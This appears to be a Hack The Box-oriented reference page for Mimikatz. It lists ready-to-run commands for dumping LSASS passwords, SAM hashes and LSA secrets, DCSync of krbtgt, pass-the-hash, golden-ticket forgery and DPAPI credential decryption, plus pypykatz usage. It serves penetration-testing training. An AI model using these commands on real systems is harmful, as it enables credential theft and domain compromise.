Mimikatz
Mimikatz needs admin rights (or SeDebugPrivilege) and Defender catches it immediately, so on modern boxes pypykatz on an LSASS dump or NetExec modules are used more. Still, its modules are the reference for understanding which credentials Windows keeps.
- Platform
- Windows
- Official site
- github.com/gentilkiwi/mimikatz
- On HTB
- 7 machines
Install
# Binarios en https://github.com/gentilkiwi/mimikatz/releases (pypykatz en Linux: pipx install pypykatz)- T1003.001 LSASS Memory
- T1003.002 Security Account Manager
- T1003.004 LSA Secrets
- T1003.006 DCSync
- T1555.004 Windows Credential Manager
- T1550.002 Pass the Hash
- T1558.001 Golden Ticket
- SAM/LSA/LSASS dumping
- DCSync
- Saved credentials / DPAPI
- Pass-the-hash / ticket
- Domain and forest trusts
Mimikatz cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Credentials
Passwords and hashes from LSASS
Target
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
SAM hashes
Target
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
LSA secrets
Target
.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"
Read an LSASS dump on Linux with pypykatz
pypykatz lsa minidump lsass.dmpDomain
DCSync of krbtgt
Target
.\mimikatz.exe "lsadump::dcsync /domain:box.htb /user:krbtgt" "exit"
Pass the hash (opens a process with that identity)
Target
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"
Golden ticket
Target
.\mimikatz.exe "kerberos::golden /user:Administrator /domain:box.htb /sid:S-1-5-21-XXXX /krbtgt:64f12cddaa88057e06a81b54e73b949b /ptt" "exit"DPAPI
Decrypt the masterkey with the user's password
Target
.\mimikatz.exe "dpapi::masterkey /in:C:\Users\usuario\AppData\Roaming\Microsoft\Protect\SID\GUID /sid:SID /password:Password123! /protected" "exit"
Decrypt a saved credential
Target
.\mimikatz.exe "dpapi::cred /in:C:\Users\usuario\AppData\Roaming\Microsoft\Credentials\FICHERO /masterkey:MASTERKEY" "exit"No command matches.
HTB machines where Mimikatz is used
Taken from the chapters of IppSec videos where Mimikatz shows up. The ▶ link jumps to the minute of that part.
- Vhost and subdomain fuzzing
- Default credentials
- Insecure deserialization
- Command injection
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- Weak or homemade cryptography
- Backups and archives
- Saved credentials / DPAPI
- AppLocker and Constrained Language Mode
Guides that use Mimikatz
- Windows credential dumping: SAM, LSA, LSASS, DPAPI and NTDS.dit 4 min read Where Windows keeps credentials and how to get them: SAM and SYSTEM, LSA secrets, LSASS with lsassy or pypykatz, DPAPI, and NTDS.dit with SeBackup.